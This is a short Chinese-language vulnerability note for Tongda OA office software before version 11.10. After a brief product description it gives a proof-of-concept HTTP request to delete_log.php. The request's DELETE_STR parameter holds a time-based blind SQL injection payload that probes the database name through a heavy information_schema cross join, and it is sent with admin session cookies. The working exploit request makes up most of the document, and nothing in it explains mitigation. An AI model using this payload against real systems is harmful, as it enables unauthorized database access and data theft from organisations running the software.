### **描述-影响范围**

通达OA

是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是适合各个行业用户的综合管理办公平台

本次范围：通达OA版本11.10之前

### **POC** 

post请求包

```
GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1 HTTP/1.1
Host: 192.168.232.137:8098
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=1u7tsd1cpgp9qvco726smb50h5; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=779f3f46
Upgrade-Insecure-Requests: 1
```